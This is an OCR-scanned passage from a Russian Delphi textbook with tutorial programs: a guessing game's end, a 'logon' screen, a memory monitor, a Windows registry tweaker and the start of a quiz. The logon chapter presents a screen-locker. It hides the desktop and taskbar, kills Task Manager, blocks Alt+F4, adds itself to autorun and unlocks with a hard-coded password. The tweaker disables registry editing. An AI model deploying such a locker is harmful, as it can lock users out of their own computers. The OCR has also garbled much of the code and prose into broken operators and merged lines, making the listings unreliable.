{проверяем вариант первого игрока и ставимсоответствующий знак}
if StrToInt(chl.Text) > num then znakl.Caption : = '>';if StrToInt(chl.Text) < num then znakl.Caption := ' < ' ;if StrToInt(chl.Text) = num thenbegin
znakl.Caption := ' = ';x.Caption := IntToStr(num);ShowMessage('Вы победили!
1 + #13#10 +
'Число угадано за ' + IntToStr(kolvo) +' попытки');
Exi tr-end;
//если вариант первого игрока больше загаданного числа}if znakl.Caption = •>' thenbegin
maximum[kolvo] := StrToInt(chl.Text); {добавляемв массив наибольших чисел вариант первого игрока}
max(); //ищем наибольшее числоend;
//если вариант первого игрока меньше загаданного числа}if znakl.Caption = '<' then begin
minimum[kolvo] := StrToInt(chl.Text); {добавляем числов массив наименьших чисел, выданных первым игроком}
min (); //ищем наименьшее числоend;
//после всех расчетов, компьютер выдает свой вариантch2.Text := IntToStr(Random(big - small) + small);
end;
//проверяем вариант компьютера и ставим соответствующий знакif StrToInt(ch2.Text) > num then znak2.Caption := '>';if StrToInt(ch2.Text) < num then znak2.Caption := '<';if StrToInt(ch2.Text) = num then begin
znak2.Caption := '=';x.Caption := IntToStr(num);ShowMessage('Вы проиграли!' + #13#10 +
'В этот раз победил компьютер!' + #13#10 +
Полный исходный код модуля 79
Листинг 9.1. Окончание
end;
end;
end.
1 Число угадано за '
' попытки');
+ IntToStr(kolvo) +
Все файлы проекта и исполняемый файл рассмотренной программы находятсяна прилагаемом к книге компакт-диске в папке C h a p t e r 0 9.
so
•
Вход в систему
Глава 10
Вход в систему
Постановка задачиРазработать программу, которая осуществляет вход в систему. Ин-
терфейс входа в систему сначала скрывает все от пользователя, а затемпросит ввести пароль. Если пароль верный, то разблокируем систему ивыходим из программы. В противном случае, продолжаем требоватьввод пароля.
Разработка формыСоздайте новый проект Delphi и измените свойства формы согласно
табл. 10.1.
Таблица 10.1. Свойства формы программы входа в систему
Свойство
C a p t i o n
A l i g n
B o r d e r S t y l e
F o r m S t y l e
P o s i t i o n
H e i g h t
W i d t h
Значение
a l C u s t o m
bsNone
f s S t a y O n T o p
p o D e s k t o p C e n t e r
130
130
Пояснение
Очистить заголовок
Запрет на перемещение окна
Убираем границу и заголовок окна
Окно программы будет всегда распо-ложено поверх других окон
Высота
Ширина
Разместите на форме компонент Label категории Standard и изме-ните его свойства согласно табл. 10.2.
Таблица 10.2. Свойства компонента L a b e l
Свойство
C a p t i o n
F o n t . C o l o r
F o n t . S i z e
F o n t . S t y l e
Значение
Logon
c l N a v y
20
[ f s B o l d ]
Пояснение
Надпись метки
Цвет текста — темно-синий
Размер шрифта
Начертание шрифта — полужирное
Разработка программного кода 81
Таблица 10.2. Окончание
Свойство
L e f t
Тор
Значение
16
0
Пояснение
Отступ слева
Отступ сверху
Разместите под меткой компонент Edit категории Standard и при-свойте его свойству Name значение pass. Для того чтобы скрыть вводтекста (то есть, вводимый пользователем пароль), следует указать всвойстве PasswordChar символ, который будет отображаться вместовводимого текста. Можно указать здесь символ "*" или, например, знакдоллара"$".
Под полем pass разместите кнопку (компонент Button категорииStandard) и присвойте ее свойству Caption значение Enter. По нажа-тию этой кнопки будет выполняться проверка корректности пароля.
Еще нам потребуется два компонента Timer категории System. Дляпервого таймера необходимо изменить значение свойства I n t e r v a l на10, для второго никаких свойств изменять не нужно.
Результат оформления формы должен соответствовать рис. 10,1.
Рис. 10.1. Форма для программы входа в систему
Разработка программного кодаОбъявим в качестве закрытых членов класса формы переменную
процедуры, которые разработаем чуть позже:typeTForml = class(TForm)
private{ Private declarations }hi: HWND; //переменная, содержащая идентификатор окнаprocedure logon(); //блокирует все, пока пароль не будет
6 —5-I2I2
82 Вход в систему
//введен верноprocedure check(); //проверка корректности пароля
public{ Public declarations }
end;
Теперь в разделе implementation создадим сами процедуры. Сна-чала процедура check:procedure TForml.check() ;begin
if pass.Text = 'password1 then //если пароль верный
begin
//узнаем идентификатор Рабочего столаhi := FindWindow('Progman', nil);//разрешаем работу с Рабочим столомShowWindow(hi, sw_show);// узнаем идентификатор панели задачhi := FindWindow('Shell_traywnd', nil);//разрешаем работу с панелью задачShowWindow(hi, sw_show);
halt; //закрываем программуend // иначе, выводим сообщение о неверном паролеelse ShowMessage('Wrong password!');
end;
Процедура check проверяет корректность пароля. В данном случаев качестве пароля используется слово "password". Если в поле pass вве-дено именно это слово, то разблокируем Рабочий стол и панель задач.После этого доступ ко всему открыт, и мы завершаем работу програм-мы. Если же введенный пользователем текст не совпадает с корректнымпаролем, то мы продолжаем требовать ввод пароля.
Теперь очередь процедуры logon:procedure TForml.logon();begin
//узнаем идентификатор Рабочего столаhi := FindWindow('Progman', nil);ShowWindow(hi, sw_hide); //прячем Рабочий стол//находим панель задачhi := FindWindow('Shell_traywnd', nil);ShowWindow(hi, sw_hide); //прячем панель задач{проверяем, не запущен ли диспетчер задач}hi := FindWindow(nil, 'Диспетчер задач Windows');(если да, то закрываем окно диспетчера задач}if (hi О 0) then PostMessage(hi, WM_QUIT, 1, 0);
end;
Разработка программного кода 83
Здесь мы блокируем Рабочий стол и панель задач, а затем проверя-ем, не пытается ли пользователь отключить нашу программу с помощьюдиспетчера задач. Если окно диспетчера задач открыто, то закрываемего.
Теперь нам почти не придется программировать — мы просто бу-дем вызывать процедуры check и logon. При нажатии кнопки Enter вы-
procedure TForml.ButtonlClick(Sender: TObject);begin
check;end;
Для того чтобы не утруждать пользователя нажатиями кнопки наформе, имитируем эту операцию по нажатию в поле pass клавиши <Еп-ter>. Для этого создайте обработчик события pass . ОпКеуРгеss:procedure TForml.passKeyPress(Sender: TObject; var Key:Char);beginif key = #13 then // если нажата клавиша <Enter>
check; //вызываем процедуру checkend;
#13 — это код клавиши <Enter>.
T V . Коды символов и клавиш клавиатуры перечислены в приложении А.
Для первого таймера событие OnTimer будет содержать только вы-зов процедуры logon:procedure TForml.TimerlTimer(Sender: TObject);beginlogon;
end;
Для второго таймера (у которого свойство I n t e r v a l имеет значе-ние 1000) добавьте в обработчик события OnTimer следующий код:procedure TForml.Timer2Timer(Sender: TObject);beginhi := FindWindow('Progman', nil); //поиск Рабочего столаShowWindow(hi, sw_hide); //прячем Рабочий столCloseWindow(hi); //сворачиваем окно Рабочего столаpass.SetFocus; //переводим курсор в текстовое поле
end;
Сворачивание окна Рабочего стола приводит к закрытию системно-го меню Пуск, если оно открыто. В конечном итоге пользователь неимеет доступа к Рабочему столу, к панели задач, к меню Пуск и диспет-черу задач, однако, несмотря на то, что наша программа не имеет заго-
6*
84 Вход в систему
ловка, ее можно закрыть с помощью комбинации клавиш <Alt+F4>. Длятого чтобы отключить эту возможность, создайте обработчик событияглавной формы OnCloseQuery и добавьте в него следующий код:procedure TForml.FormCloseQuery(Sender: TObject;
var CanClose: Boolean);begin
CanClose := False;end;
Единственное, что осталось сделать, —- обеспечить программе авто-загрузку, указав путь к ней в системном реестре. Для работы с реестромнеобходимо добавить в раздел uses ссылку на модуль Registry, а за-тем создать следующий обработчик события формы QnCreate:procedure TForml.FormCreate(Sender; TObject);var
Reg: TRegistry; //переменная для работы с реестром
beginReg !• TRegistry.Create;Reg.RootKey :=> HKEY_CURRENT_USER; //только для текущего
//пользователяReg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',
true);//открываем раздел автозагрузки в реестре//и записываем название и полный путь к нашей программеReg.WriteString('Logon', Application.ExaName);Reg.CloseKey; //закрываем реестрReg.Free; //освобождаем память
end;
Теперь наша программа будет загружаться для текущего пользова-теля вместе с системой и требовать ввод пароля. Программа в действиипоказана на рис. 10.2.
Рис. 10.2. Программа Вход в систему в действии
Полный исходный код модуля 85
Полный исходный код модуляПолный исходный код модуля программы Вход в систему представ-
лен в листинге 10.1.
Листинг 10.1. Модуль программы Вход в систему
unit Unitl;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics,Controls, Forms, Dialogs, StdCtrls, ExtCtrls, Registry;
typeTForml • class(TForm)
pass: TEdit;
Labell: TLabel;Timerl: TTimer;Buttonl: TButton;Timer2: TTimer;procedure ButtonlClick(Sender: TObject);procedure passKeyPress(Sender: TObject; var Key: Char);procedure FormCloseQuery(Sender: TObject;
var CanClose: Boolean);procedure FormCreate(Sender: TObject);procedure TimerITimer(Sender: TObject);procedure Timer2Timer(Sender: TObject);
private. { Private declarations }
hi: HWND; //переменная, содержащая идентификатор окнаprocedure logon(); //блокирует все, пока пароль не будет
//введен верноprocedure check(); //проверка корректности пароля
public{ Public declarations }
end;
var
Forml: TForml;
implementation
{$R *.dfm}
86 Вход в систему
4стинг10.1. Продолжение
procedure TForml.check();begin
if pass.Text = 'password' then //если пароль верныйbegin
//узнаем идентификатор Рабочего столаhi := FindWindow('Progman', nil);//разрешаем работу с Рабочим столомShowWindow(hi, sw_show);// узнаем идентификатор панели задачhi := FindWindow('Shell_traywnd', nil);//разрешаем работу с панелью задачShowWindow(hi, sw_show);
halt; //закрываем программуend // иначе, выводим сообщение о неверном паролеelse ShowMessage('Wrong password!');
end;
procedure TForml.logon() ;begin
//узнаем идентификатор Рабочего столаhi := FindWindow('Progman', nil);ShowWindow(hi, sw_hide); //прячем Рабочий стол//находим панель задачhi := FindWindow('Shell^traywnd', nil);
ShowWindow(hi, sw_hide); //прячем панель задач{проверяем, не запущен ли диспетчер задач}
hi := FindWindow(nil, 'Диспетчер задач Windows');
{если да, то закрываем окно диспетчера задач}if (hi о 0) then PostMessage(hi, WM_QUIT, 1, 0);
end;
procedure TForml.TimerlTimer(Sender: TObject);begin
logon;end;
procedure TForml.ButtonlClick(Sender: TObject);begin
check;end;
procedure TForml.passKeyPress(Sender: TObject; var Key:Char)begin
if key=#13 then // если нажата клавиша <Enter>check; //вызываем процедуру check
Полный исходный код модуля 87
Листинг 10.1. Окончание
[ end;
procedure TForml.FormCloseQuery(Sender: TObject;
var CanClose: Boolean);begin
CanClose := False;end;
procedure TForml.FormCreate(Sender: TObject);var
Reg: TRegistry; //переменная для работы с реестромbeginReg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER; //только для текущего//пользователя
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);//открываем раздел автозагрузки в реестре
//и записываем название и полный путь к нашей программеReg.WriteString('Logon' , Application.ExeName);
Reg.CloseKey; //закрываем реестрReg.Free; //освобождаем память
end;
procedure TForml.Timer2Timer(Sender: TObject);beginhi := FindWindow('Progman', nil); //поиск Рабочего столаShowWindow(hi, sw_hide); //прячем Рабочий столCloseWindow(hi); //сворачиваем окно Рабочего столаpass.SetFocus; //переводим курсор в текстовое поле
end;
end.
Все файлы проекта и исполняемый файл рассмотренной программы находятсяна прилагаемом к книге компакт-диске в папке C h a p t e r _ 1 0 .
88 Информация о памяти
Глава 1
Информация1
о памяти
Постановка задачиРазработать программу, которая отображает информацию о физиче-
ской, страничной и виртуальной памяти.
Разработка формыСоздайте новый проект Delphi и присвойте свойству Caption фор-
мы значение Memory Info.Для вывода различной информации о памяти мы будем использо-
вать компонент Label категории Standard. Разместите на форме одиннад другим семь таких компонентов, присвоив свойству Left каждогоиз них значение 230, а свойству Caption — значение 0.
Слева от этого столбца меток разместите в столбец еще семь ком-понентов Label, которые будут пояснять числа, отображаемые преды-дущими семью метками. Присвойте их свойству Caption следующиезначения (сверху вниз): Загруженность памяти:, Все-го физической:, Свободно физической:, Всего страничной:.Свободно страничной:,Всего swap: И Свободно swap:.
Еще одним способом отображения загруженности физической па-мяти будет компонент Gauge категории Samples. Разместите этот ком-понент вдоль правого края формы и измените значение его свойстваKind на gkVerticalBar, чтобы изменения свойства Gauge . Progressотображались вдоль вертикальной шкалы.
Теперь обеспечим настройку автообновления данных о памяти. Дляэтого нам понадобится компонент Timer категории System. Пользова-тель будет задавать период обновления информация о памяти, с помо-щью компонента SpinEdit категории Samples. В его свойствах следуетизменить значение MaxValue на 60, a MinValue —* на 1. Это даст воз-можность пользователю задавать диапазон обновления от 1 до 60 се-кунд.
Разработка программного кода 89
Слева от компонента SpinEdit разместите поясняющую метку стекстом Частота обновления :, а справа — метку с текстом секунд.
В правом нижнем углу формы разместите кнопку (компонент But-ton категории Standard) и присвойте ее свойству Caption значение Ус-тановить. По нажатию этой кнопки будет устанавливаться указанная вкомпоненте SpinEdit частота обновления информации.
Полученная форма должна соответствовать рис. 11.1.
Memory info
^Загруженность памяти:
••iBcero физической:
•;: Свободно фИЗИЧеСКОЙ: :
iiiBcero страничной:
•:! Свободно с траничной: •
М:Всего swap: i
::: СвобоДНО Swap: :;
;Частота обновлений: -:ГГ -Й ;секунд Установить
Рис. 11.1. Форма для отображения информации о памяти компьютера
Разработка программного кодаВ программе будет только две процедуры: первая - - обработчик
события Timerl . OnTimer, которая определяет и отображает информа-цию о памяти; вторая — обработчик события OnClick кнопки Устано-вить для задания частоты обновления информации.
Создадим вначале главную часть программы — обработчик собы-тия Timer l .procedure TForml.TimerITimer(Sender: TObject);var
mem: TMemoryStatus; //хранит всю информацию о памятиbeginmem.dwLength := SizeOf(mem); //размер памятиGlobalMemoryStatus(mem); //узнаем всю информацию о памяти//выводим информацию в соответствующие метки
90 Информация о памяти
with mem do begin// Загруженность памятиLabell.Caption : = IntToStr(dwMemoryLoad) + ' %';Label2.Caption := IntToStr((dwTotalPhys) div 1024) +
1 Кбайт'; // Всего физической
Label3.Caption := IntToStr ((dwAvailPhys) div 1024) +1 Кбайт'; // Свободно физической
Label4.Caption := IntToStr((dwTotalPageFile) div 1024) +1 Кбайт'; // Всего страничной
Label5.Caption := IntToStr((dwAvailPageFile) div 1024) +1 Кбайт'; // Свободно страничной
Label6.Caption := IntToStr((dwTotalVirtual) div 1024) +1 Кбайт
1; // Всего swap
Label7 . Caption := IntToStr ( (dwAvailVirtual) d.iv 1024) +
' Кбайт'; // Свободно swapGaugel.MaxValue := dwTotalPhys; //определяем максимум//отображаем процент загруженности памятиGaugel.Progress := dwTotalPhys - dwAvailPhys;
end;end;
Сначала мы объявляем переменную mem, которая служит для хране-ния информации о памяти, полученной с помощью функции Global-MemoryStatus. После того как мы получили всю необходимую инфор-мацию о памяти, делим все значения на 1024, чтобы перевести данныев килобайты. Затем выводим информацию с помощью соответствующихметок, а также изменяем текущую позицию для компонента Gauge.
Осталось только реализовать изменение частоты обновления ин-формации, для чего достаточно изменять значение свойстваTimerl . I n t e r v a l . Обработаем нажатие кнопки Установить:procedure TForml.ButtonlClick(Sender: TObject);begin
//установка интервала работы таймераTimerl.Interval := SpinEditl.Value*1000;
end;
Поскольку интервал для таймера задается в мс, а в SpinEdit мывводим значение в секундах, то мы должны умножать значение свойст-ва SpinEdit .Value на 1000.
Программа в действии показана на рис. 11.2.
Полный исходный код модуляПолный исходный код модуля программы отображения информа-
ции о памяти представлен в листинге 11.1.
Полный исходный код модуля 91
Memory info
Загруженность памяти:
Всего физической:
Свободно физической:
Все го с тр аничной:
Свободно страничной:
Всего swap:
Свободно swap:
Частота обновлений: Щ "£| секунд
Рис. 11.2. Программа отображения информации о памяти в действии
Листинг 11.1. Модуль программы Memory info
unit Unitl
interface
usesWindows,
I
Messages, SysUtils, Variants, Classes, Graphics,Controls, Forms,
Dialoqs,
typeTForml =
LabellLabel2Label3Label4Label5Label6Label7
GaugelTimerlLabel8Label9
StdCtrls, Gauges, ExtCtrls, Spin;
class(TForm)TLabel;TLabel;TLabel;
TLabel;TLabel;TLabel;TLabel;TGauge;TTimer;TLabel;TLabel;
LabellO: TLabel;Labelll: TLabel;Labell2: TLabel;Labell3: TLabel;
92 Информация о памяти
Листинг 11.1. Продолжение
Labell4: TLabel;
SpinEditl: TSpinEdit;Labell5: TLabel;Labell6: TLabel;Buttonl: TButton;procedure TimerlTimer(Sender: TObject);procedure ButtonlClick(Sender: TObject);
private
( Private declarations )public
{ Public declarations )end;
var
Forml: TForml; , •
implementation
{$R *.dfm}
procedure TForml.TimerlTimer(Sender: TObject);varmem: TMemoryStatus; //хранит всю информацию о памяти
begin
mem.dwLength : = SizeOf(mem); //размер памятиGlobalMemoryStatus(mem); //узнаем всю информацию о памяти//выводим информацию в соответствующие меткиwith mem do begin
// Загруженность памяти
Labell.Caption := IntToStr(dwMemoryLoad) + ' %';Label2.Caption := IntToStr((dwTotalPhys) div 1024) +
' Кбайт'; // Всего физическойLabel3.Caption : = IntToStr ((dwAvailPhys) div 1024) +
' Кбайт'; // Свободно физическойLabel4.Caption := IntToStr((dwTotalPageFile) div 1024) +
' Кбайт'; // Всего страничнойLabel5.Caption :- IntToStr((dwAvailPageFile) div 1024) +
1 Кбайт'; // Свободно страничной
Label6.Caption := IntToStr((dwTotalVirtual) div 1024) +' Кбайт
1; // Всего swap
Label7.Caption := IntToStr((dwAvailVirtual) div 1024) +1 Кбайт'; // Свободно swap
Gaugel.MaxValue := dwTotalPhys; //определяем максимум//отображаем процент загруженности памятиGaugel.Progress := dwTotalPhys - dwAvailPhys;
Полный исходный код модуля 93
Листинг 11.1. Окончание
епа;
procedure TForml.ButtonlClick(Sender: TObject);begin
//установка интервала работы таймераTimerl.Interval : = SpinEditl.Value*1000;
end;
end.
Все файлы проекта и исполняемый файл рассмотренной программы находятсяна прилагаемом к книге компакт-диске в папке C h a p t e r _ l l .
94 Программа настройки Windows
Глава 12
Программа настройки Windows
Постановка задачиРазработать программу, которая осуществляет настройку ОС Win-
dows через реестр.Поскольку ОС Windows не предоставляет возможность полной ви-
зуальной настройки, существует множество программ для "тонкой" на-стройки, этой операционной системы. Например, в Windows XP нельзя,просто "сбросив флажок", отключить автозагрузку с CD-ROM или за-блокировать системный реестр. Все это можно сделать только через ре-естр, что не очень-то удобно. К тому же, запомнить все ключи реестраневозможно, а справочник не всегда оказывается под рукой.
В этой главе будет показано как написать программу для "тонкой"настройки ОС Windows. Мы не будем разрабатывать многофункцио-нальное приложение, а создадим только шаблон, в который затем чита-тель сможет сам добавить необходимые ему пункты по настройке опе-рационной системы.
Краткий справочник по реестру Windows находится в приложении В.
Разработка формыСоздайте новый проект Delphi. Присвойте свойству Caption фор-
мы значение Настройка ОС windows. Разместите на форме компонентGroupBox категории Standard и присвойте его свойству Caption значе-ние Опции. На компоненте GroupBox разместите один над другим трикомпонента CheckBox категории Standard и присвойте их свойствуCaption следующие значения: Отключить автозагрузку с CD-ROM,Отключить свойства экрана И Заблокировать реестр.У нижнегокрая формы разместите кнопку (компонент Button категории Standard),присвоив ее свойству Caption значение Выполнить.
Полученная форма должна соответствовать рис. 12.1.
Разработка программного кода 95
Ш Настройка ОС Win -[.•1..X.IОпцииГ" Отключить автозагрузку е CD-ROM
| Г" Отключить свойства экрана
[ Г" Заблокировать реестр
Выполнить
Рис. 12.1. Форма программы настройки Windows
Разработка программного кодаВ программе потребуется обработать два события: создание формы
и нажатие кнопки Выполнить. При создании формы мы должны считы-вать значения из реестра, и устанавливать соответствующие флажки.При нажатии кнопки Выполнить будут применяться выбранные пользо-вателем настройки.
Для начала добавим в раздел uses ссылку на модуль Regi s t ry дляработы с системным реестром. Также необходимо объявить глобальнуюпеременную reg типа TRegistry, с помощью которой мы будем рабо-тать с реестром:
varForml: TForml;reg: TRegistry;
Обработчик события создания главной формы OnCreate:procedure TForml.FormCreate(Sender: TObject);beginreg := TRegistry.Create; //открываем реестр//настройки для текущего пользователяreg.RootKey := HKEY_CURRENT_USER;reg.OpenKey('SYSTEM\CurrentControlSet\Services\Cdrom',
False); //открываем разделif reg.ValueExists('Autorun
1) then //если ключ существует
if reg.Readlnteger('Autorun') = 1 //и если он равен 1,then //то устанавливаем флажок первой опции
CheckBoxl.Checked := True;reg.CloseKey; //закрываем реестр
//Таким же образом проверяем остальные опции
96 Программа настройки Windows
//Для опции "Отключить свойства экрана":reg := TRegistry.Create;reg.RootKey:=HKEY_CURRENT_USER;reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\' +
1Policies\System', False);
if reg.ValueExists('NoDispCPL') then
if reg.Readlnteger('NoDispCPL') = 1
then CheckBox2.Checked i= True;reg.CloseKey;
//для опции "Заблокировать реестр":reg := TRegistry.Create;reg.RootKey : = HKEY_CURRENT_USER;
reg.OpenKey ('Software\Microsoft\Windows\CurrentVersion\' +1Policies\System', False);
if reg.ValueExists('DisableRegistryTools') then
if reg.Readlnteger('DisableRegistryTools') = 1
then CheckBox3.Checked := True;reg.CloseKey;
end;
При создании формы мы проверяем, какие из опций уже установле-ны. Если опция уже установлена, то устанавливаем соответствующийфлажок.
OnClick для кнопки Выполнить:procedure TForml.ButtonlClick(Sender: TObject);begin
if CheckBoxl.Checked then
begin //если установлен флажок напротив первой опцииreg := TRegistry.Create; //открываем реестр//открываем ветку реестраreg.RootKey := HKEY_LOCAL_MACHINE;reg.OpenKey('SYSTEM\CurrentControlSet\Services\Cdrom',
True); //открываем требуемый раздел в реестре//записываем соответствующий ключreg.Writelnteger('Autorun', 1);reg.CloseKey;
end else begin //иначе...
reg := TRegistry.Create;reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('SYSTEM\CurrentControlSet\Services\Cdrom',True);
//...отключаем эту возможностьreg.Writelnteger('Autorun
1, 0) ;
reg.CloseKey;end;
L
Разработка программного кода 97
//Таким же образом обрабатываем остальные опции
//Для опции "Отключить свойства экрана":if CheckBox2.Checked thenbegin
reg := TRegistry.Create;reg.RootKey:=HKEY_CURRENT_USER;reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\'
+ 'Policies\System', True);
//отключить свойства экранаreg.Writelnteger('NoDispCPL', 1);reg.CloseKey;
end else begin
reg := TRegistry.Create;reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\'+ 'Policies\System', True);
//Восстановить свойства экранаreg.Writelnteger('NoDispCPL', 0) ;reg.CloseKey;
end;
//Для опции "Заблокировать реестр":if CheckBox3.Checked thenbegin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\'+ 'Policies\System', True);
//Заблокировать реестрreg.Writelnteger('DisableRegistryTools', 1);
reg.CloseKey;end else begin
reg := TRegistry.Create;reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\'+
TPolicies\System', True);
//открыть доступ к рееструreg.Writelnteger('DisableRegistryTools', 0);reg.CloseKey;
end;end;
По нажатию кнопки Выполнить мы проверяем состояние каждогофлажка. Если флажок установлен, то мы записываем в реестр ключ, ко-торый включает выбранную опцию, в противном же случае - - простоотключаем эту опцию.
7 — 5-1.212
98 Программа настройки Windows
Теперь можно откомпилировать и запустить программу на выпол-нение. Выберите, например, опцию Заблокировать реестр и нажмитекнопку Выполнить. Чтобы удостовериться в том, что реестр действи-тельно заблокирован, выполните команду системного меню Пуск —> Вы-полнить, в диалоговом окне Запуск программы введите r e g e d i t и на-жмите кнопку ОК. Если вместо окна реестра вы увидите сообщение обошибке "Редактирование реестра запрещено администратором системы"(рис. 12.2), то это значит, что наша программа работает нормально.
Редактирование реестра запрещено администратором системы,
Рис. 12.2. Программа заблокировала системный реестр Windows
После этого опять перейдите в программу Настройка ОС Windows,сбросьте флажок Заблокировать реестр и нажмите кнопку Выполнить.Попробуйте еще раз войти в реестр. Как видите, теперь никаких препят-ствий не возникает.
Полный исходный код модуляПолный исходный код модуля программы настройки Windows
представлен в листинге 12.1.
Листинг 12.1. Модуль программы настройки Windows
unit Unitl;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics,Controls, Forms,
Dialogs, StdCtrls, Registry;
typeTForml = class(TForm)Buttonl: TButton;GroupBoxl: TGroupBox;
Полный исходный код модуля 99
Листинг 12.1. Продолжение
CheckBoxl: TCheckBox;CheckBox2: TCheckBox;CheckBox3: TCheckBox;procedure ButtonlClick(Sender: TObject);procedure FormCreate(Sender: TObject);
private{ Private declarations }
public
{ Public declarations }end;
varForml: TForml;reg: Tregistry;
implementation
{$R *.dfm}
procedure TForml.ButtonlClick(Sender: TObject);begin
if CheckBoxl.Checked thenbegin //если установлен флажок напротив первой опции
reg := TRegistry.Create; //открываем реестр//открываем ветку реестраreg.RootKey := HKEY_LOCAL_MACHINE;reg.OpenKey('SYSTEM\CurrentControlSet\Services\Cdrom',
True); //открываем требуемый раздел в реестре
//записываем соответствующий ключreg.Writelnteger('Autorun' , 1);
reg.CloseKey;end else begin //иначе...
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;reg.OpenKey('SYSTEM\CurrentControlSet\Services\Cdrom',
True);//. . .отключаем эту возможностьreg.Writelnteger('Autorun
1, 0);
reg.CloseKey;end;
//Таким же образом обрабатываем остальные опции
//Для опции "Отключить свойства экрана":if CheckBox2.Checked thenbegin
reg := TRegistry.Create;
7*
100 Программа настройки Windows
Листинг 12.1. Продолжение
reg.RootKey:=HKEY_CURRENT_USER;reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\'
+ 'Policies\System', True);//отключить свойства экранаreg.Writelnteger('NoDispCPL', 1);
reg.CloseKey;end else begin
reg := TRegistry.Create;reg.RootKey := HKEY_CURRENT_USER;reg.OpenKey('SoftwareXMicrosoft\Windows\CurrentVersion\'
+ 'PoliciesNSystem', True);//Восстановить свойства экранаreg.Writelnteger('NoDispCPL
1 , 0) ;
reg.CloseKey;end;
//Для опции "Заблокировать реестр":
if СпескВохЗ.Checked thenbegin
reg :« TRegistry.Create;reg.RootKey := HKEY_CURRENT_USER;reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\'
+ 'Policies\System', True);//Заблокировать реестрreg.Writelnteger('DisableRegistryTools', 1);reg.CloseKey;
end else begin
reg : = TRegistry.Create;reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\'+ 'PoliciesXSystem', True);
//открыть доступ к рееструreg.Writelnteger('DisableRegistryTools', 0);reg.CloseKey;
end;end;
procedure TForml.FormCreate(Sender: TObject);begin
reg := TRegistry.Create; //открываем реестр//настройки для текущего пользователя
reg.RootKey := HKEY_CURRENTJJSER;reg.OpenKey('SYSTEM\CurrentControlSet\Services\Cdrom',
False); //открываем разделif reg.ValueExists('Autorun') then //если ключ существует
Полный исходный код модуля 101
Листинг 12.1. Окончание
if teg.Readlnteger('Autorun') = 1 //и если он равен 1,then //то устанавливаем флажок первой опции
CheckBoxl.Checked := True;reg.CloseKey; //закрываем реестр
//Таким же образом проверяем остальные опции
//Для опции "Отключить свойства экрана":reg := TRegistry.Create;reg.RootKey:=HKEY_CURRENTJJSER;reg. OpenKey ( ' Sof tware\Microsoft\-Windows\CurrentVersion\ ' +
1PoliciesXSystem', False);
if reg.ValueExists('NoDispCPL') then
if reg.Readlnteger('NoDispCPL1) = 1
then CheckBox2.Checked := True;reg.CloseKey;
//для опции "Заблокировать реестр":reg := TRegistry.Create;reg.RootKey := HKEY_CURRENT_USER;reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\' +
'PoliciesXSystem', False);if reg.ValueExists('DisableRegistryTools') then
if reg.Readlnteger('DisableRegistryTools') = 1then CheckBox3.Checked := True;
reg.CloseKey;end;
end.
Все файлы проекта и исполняемый файл рассмотренной программы находятсяна прилагаемом к книге компакт-диске в папке C h a p t e r 12.
102 Тест
Глава 13
Тест
Постановка задачиРазработать программу для тестирования знаний в разных областях.
Пользователь должен ответить на несколько вопросов, которые случай-ным образом выбираются из общей базы вопросов. После того как поль-зователь ответил на все вопросы, программа должна высчитать и выдатьрезультат прохождения теста — процент правильных ответов. Такженеобходимо дать возможность пользователю подключать внешние фай-лы, содержащие вопросы и варианты ответов к ним. Для того чтобыпользователь не смог прочитать правильные ответы, следует зашифро-вать файл с вопросами и ответами.
Структура базы вопросов и ответов
Перед тем как разработать сам тест, разберем содержимое файла,в котором будут храниться вопросы и варианты ответов к ним. Это бу-дет ini-файл следующей структуры:
[num]гшт=количество вопросов в базе
[Q]0=Первый вопрос1=Второй вопрос
[А]О=0твет к первому вопросу1=0твет ко второму вопросу
[W1]О=Неправильный вариант к первому вопросу1= Неправильный вариант ко второму вопросу
[W2]О=Неправильный вариант к первому вопросу1= Неправильный вариант ко второму вопросу
Разработка формы 103
[W3]
О=Неправильный вариант к первому вопросу
1= Неправильный вариант ко второму вопросу
В этом ini-файле шесть разделов: num, Q, A, wi, W2 и W3. Как вы по-нимаете, если кто-то заглянет в этот файл, то уже через несколько минутон будет знать правильные ответы на все вопросы. А если он этот файлподкорректирует, то и вовсе будет получать только правильные вариан-ты ответов. Для того чтобы этого не случилось, мы будем шифроватьнашу базу вопросов. Это можно сделать с помощью программы Блок-нот-шифровальщик, рассмотренной в главе 7. Для шифрования выберемнебольшое смещение, например, 101. После того как вы создали все во-просы и варианты ответов к ним, не забудьте указать количество вопро-сов в разделе num. После этого зашифруйте базу, используя смещение101.
Пример зашифрованной базы вопросов/ответов можно найти на прилагаемом ккниге компакт-диске в файле C h a p t e r _ 1 3 \ c o m p . i n i .
Разработка формыСоздайте новый проект Delphi. Присвойте свойству Caption фор-
мы значение Tester, а свойству BorderStyle — bsNone. У верхнегокрая формы разместите компонент Label категории Standard, присвоивего свойству Caption значение Первый вопрос :.
Ниже разместите компонент Memo категории Standard, с помощьюкоторого мы будем отображать текущий вопрос. Присвойте свойствуMemol .Readonly значение True, чтобы пользователь не мог изменитьтекст вопроса.
Под вопросом будут расположены варианты ответов. Разместитепод компонентом Memol компонент RadioGroup (группа переключате-лей) категории Standard и присвойте его свойству Caption значениеВарианты ответов:. Разместите на компоненте RadioGroupl четырекомпонента RadioButton (переключатели) категории Standard. Очисти-те для каждого из них свойство Caption, а свойству Name присвойтезначения anl, ап2, апЗ и ап4 соответственно.
В любом месте формы разместите компонент Label, который изна-чально будет невидимым. Он будет служить для отображения результа-тов и в последствии будет растянут на всю форму. Установите для негосвойства согласно табл. 13.1.
104 Тест
